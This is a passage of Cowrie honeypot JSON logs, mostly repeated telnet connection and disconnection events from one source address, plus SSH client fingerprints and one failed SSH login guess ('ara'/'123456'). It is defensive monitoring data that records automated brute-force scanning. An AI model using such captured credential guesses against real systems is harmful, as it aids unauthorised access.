penssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.851450Z","src_ip":"122.168.114.167","session":"f921de9a4ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca3ea42635d7","protocol":"telnet","message":"New connection: 64.235.40.29:41134 (10.17.0.5:23) [session: ca3ea42635d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.912922Z"}
{"eventid":"cowrie.session.closed","duration":31.70150852203369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.917208Z","src_ip":"64.235.40.29","session":"ac2d97c4c99e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388530254364014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.038688Z","src_ip":"64.235.40.29","session":"8004ed3df83f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179814100265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.070451Z","src_ip":"64.235.40.29","session":"7e63c89f75e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8d71986b77","protocol":"telnet","message":"New connection: 64.235.40.29:41062 (10.17.0.5:23) [session: 9a8d71986b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.215845Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55268a171c7","protocol":"telnet","message":"New connection: 64.235.40.29:41146 (10.17.0.5:23) [session: f55268a171c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.489968Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41150,"dst_ip":"10.17.0.5","dst_port":23,"session":"436de13d2f0b","protocol":"telnet","message":"New connection: 64.235.40.29:41150 (10.17.0.5:23) [session: 436de13d2f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.715344Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9f2e001d57","protocol":"telnet","message":"New connection: 64.235.40.29:41128 (10.17.0.5:23) [session: ec9f2e001d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:14.912827Z"}
{"eventid":"cowrie.session.closed","duration":30.20344614982605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:15.037962Z","src_ip":"64.235.40.29","session":"17333770fa4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914628267288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:15.153736Z","src_ip":"64.235.40.29","session":"17cbae21189e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f026a39d86a8","protocol":"telnet","message":"New connection: 64.235.40.29:48548 (10.17.0.5:23) [session: f026a39d86a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:15.352628Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48562,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de5aa52ab9c","protocol":"telnet","message":"New connection: 64.235.40.29:48562 (10.17.0.5:23) [session: 9de5aa52ab9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:15.595693Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48564,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eab8d8d1314","protocol":"telnet","message":"New connection: 64.235.40.29:48564 (10.17.0.5:23) [session: 8eab8d8d1314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:15.627977Z"}
{"eventid":"cowrie.session.closed","duration":30.695414781570435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.060427Z","src_ip":"64.235.40.29","session":"b8b09aac47df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808585166931152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.071915Z","src_ip":"64.235.40.29","session":"3b34ecde0a59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48578,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f78f2d028f","protocol":"telnet","message":"New connection: 64.235.40.29:48578 (10.17.0.5:23) [session: d2f78f2d028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.075471Z"}
{"eventid":"cowrie.session.closed","duration":30.421433448791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.144095Z","src_ip":"64.235.40.29","session":"19faf0aee5e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038393020629883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.398403Z","src_ip":"64.235.40.29","session":"e2dd958f43a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48586,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6bff0f7e75","protocol":"telnet","message":"New connection: 64.235.40.29:48586 (10.17.0.5:23) [session: 4e6bff0f7e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.444327Z"}
{"eventid":"cowrie.session.closed","duration":31.718844175338745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.695352Z","src_ip":"64.235.40.29","session":"8f9766af2c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4dafefa070","protocol":"telnet","message":"New connection: 64.235.40.29:48600 (10.17.0.5:23) [session: 9c4dafefa070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.895232Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48612,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b73a533347","protocol":"telnet","message":"New connection: 64.235.40.29:48612 (10.17.0.5:23) [session: 23b73a533347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:16.963863Z"}
{"eventid":"cowrie.session.closed","duration":31.051180839538574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.053806Z","src_ip":"64.235.40.29","session":"45d86798cc6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96692395210266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.157548Z","src_ip":"64.235.40.29","session":"d0c42f30ba14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134945392608643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.468447Z","src_ip":"64.235.40.29","session":"0817eaa4cb9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48640,"dst_ip":"10.17.0.5","dst_port":23,"session":"3054fa7da512","protocol":"telnet","message":"New connection: 64.235.40.29:48640 (10.17.0.5:23) [session: 3054fa7da512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.557850Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48650,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e3fc48bde0","protocol":"telnet","message":"New connection: 64.235.40.29:48650 (10.17.0.5:23) [session: 62e3fc48bde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.678821Z"}
{"eventid":"cowrie.session.closed","duration":31.54564356803894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.729957Z","src_ip":"64.235.40.29","session":"43c9c7644cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48620,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70900230cc2","protocol":"telnet","message":"New connection: 64.235.40.29:48620 (10.17.0.5:23) [session: d70900230cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:17.996381Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48660,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d2d8208a63","protocol":"telnet","message":"New connection: 64.235.40.29:48660 (10.17.0.5:23) [session: 43d2d8208a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.049485Z"}
{"eventid":"cowrie.session.closed","duration":30.62920594215393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.148486Z","src_ip":"64.235.40.29","session":"cd3ab8bbaf51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305830001831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.159821Z","src_ip":"64.235.40.29","session":"a1413c360bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48664,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb05a9041913","protocol":"telnet","message":"New connection: 64.235.40.29:48664 (10.17.0.5:23) [session: fb05a9041913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.199476Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48674,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5093f4e4b6","protocol":"telnet","message":"New connection: 64.235.40.29:48674 (10.17.0.5:23) [session: 5a5093f4e4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.482831Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"7762a07c08cb","protocol":"telnet","message":"New connection: 64.235.40.29:48684 (10.17.0.5:23) [session: 7762a07c08cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.800276Z"}
{"eventid":"cowrie.session.closed","duration":30.89927363395691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:18.848591Z","src_ip":"64.235.40.29","session":"92663db5aeeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23302960395813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.033680Z","src_ip":"64.235.40.29","session":"18daaccf5f58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34711194038391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.041216Z","src_ip":"64.235.40.29","session":"0e6d5be0b0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24152898788452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.045976Z","src_ip":"64.235.40.29","session":"000c17c62ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653602123260498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.054784Z","src_ip":"64.235.40.29","session":"81b09d29b347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58626890182495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.058811Z","src_ip":"64.235.40.29","session":"b51d1188cc77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62878108024597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.096632Z","src_ip":"64.235.40.29","session":"c363bf298c66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875085830688477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.130070Z","src_ip":"64.235.40.29","session":"33127548c8a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51869821548462,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.149758Z","src_ip":"64.235.40.29","session":"0bdf35a21ac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326740026474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.230567Z","src_ip":"64.235.40.29","session":"5c4390635f1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32753c8bd48","protocol":"telnet","message":"New connection: 64.235.40.29:48626 (10.17.0.5:23) [session: c32753c8bd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.264789Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48698,"dst_ip":"10.17.0.5","dst_port":23,"session":"4680418def37","protocol":"telnet","message":"New connection: 64.235.40.29:48698 (10.17.0.5:23) [session: 4680418def37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.345044Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48598,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d58ea4e0f6","protocol":"telnet","message":"New connection: 64.235.40.29:48598 (10.17.0.5:23) [session: e9d58ea4e0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.520494Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48700,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a9a344e9b6","protocol":"telnet","message":"New connection: 64.235.40.29:48700 (10.17.0.5:23) [session: e4a9a344e9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:19.744393Z"}
{"eventid":"cowrie.session.closed","duration":30.490408182144165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.078760Z","src_ip":"64.235.40.29","session":"20bea13a233a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41726,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdaf41d7761c","protocol":"ssh","message":"New connection: 159.203.92.129:41726 (159.203.135.109:22) [session: cdaf41d7761c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.291870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.296723Z","src_ip":"159.203.92.129","session":"cdaf41d7761c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.301391Z","src_ip":"159.203.92.129","session":"cdaf41d7761c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ara","password":"123456","message":"login attempt [ara/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.311644Z","src_ip":"159.203.92.129","session":"cdaf41d7761c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48708,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab739b6feca","protocol":"telnet","message":"New connection: 64.235.40.29:48708 (10.17.0.5:23) [session: 4ab739b6feca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.428085Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48732,"dst_ip":"10.17.0.5","dst_port":23,"session":"641a9addf536","protocol":"telnet","message":"New connection: 64.235.40.29:48732 (10.17.0.5:23) [session: 641a9addf536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:20.840050Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:21.316137Z","src_ip":"159.203.92.129","session":"cdaf41d7761c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94117760658264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:21.320650Z","src_ip":"64.235.40.29","session":"b08afaa581aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.523722171783447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:21.524604Z","src_ip":"64.235.40.29","session":"73beecb9462d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6383d83c9d16","protocol":"telnet","message":"New connection: 160.250.4.73:38258 (10.17.0.5:23) [session: 6383d83c9d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:21.968851Z"}
{"eventid":"cowrie.session.closed","duration":31.851117610931396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.026876Z","src_ip":"64.235.40.29","session":"b11487fe16ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"854e587b8f15","protocol":"telnet","message":"New connection: 64.235.40.29:48762 (10.17.0.5:23) [session: 854e587b8f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.070296Z"}
{"eventid":"cowrie.session.closed","duration":30.810556411743164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.170566Z","src_ip":"64.235.40.29","session":"8faf062bb9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54554009437561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.268330Z","src_ip":"64.235.40.29","session":"f1fe93b7da08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48734,"dst_ip":"10.17.0.5","dst_port":23,"session":"732aec21c796","protocol":"telnet","message":"New connection: 64.235.40.29:48734 (10.17.0.5:23) [session: 732aec21c796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.412045Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc29459970f","protocol":"telnet","message":"New connection: 64.235.40.29:48744 (10.17.0.5:23) [session: ddc29459970f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.527127Z"}
{"eventid":"cowrie.session.closed","duration":31.2085964679718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.583139Z","src_ip":"64.235.40.29","session":"441eb0960b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48780,"dst_ip":"10.17.0.5","dst_port":23,"session":"35641cde6559","protocol":"telnet","message":"New connection: 64.235.40.29:48780 (10.17.0.5:23) [session: 35641cde6559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.708353Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48752,"dst_ip":"10.17.0.5","dst_port":23,"session":"483e33dd6163","protocol":"telnet","message":"New connection: 64.235.40.29:48752 (10.17.0.5:23) [session: 483e33dd6163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.796805Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4248b720b8","protocol":"telnet","message":"New connection: 64.235.40.29:48788 (10.17.0.5:23) [session: 9c4248b720b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.807126Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48792,"dst_ip":"10.17.0.5","dst_port":23,"session":"272fb354ce17","protocol":"telnet","message":"New connection: 64.235.40.29:48792 (10.17.0.5:23) [session: 272fb354ce17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:22.896130Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48806,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ba636b655e","protocol":"telnet","message":"New connection: 64.235.40.29:48806 (10.17.0.5:23) [session: 10ba636b655e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.046085Z"}
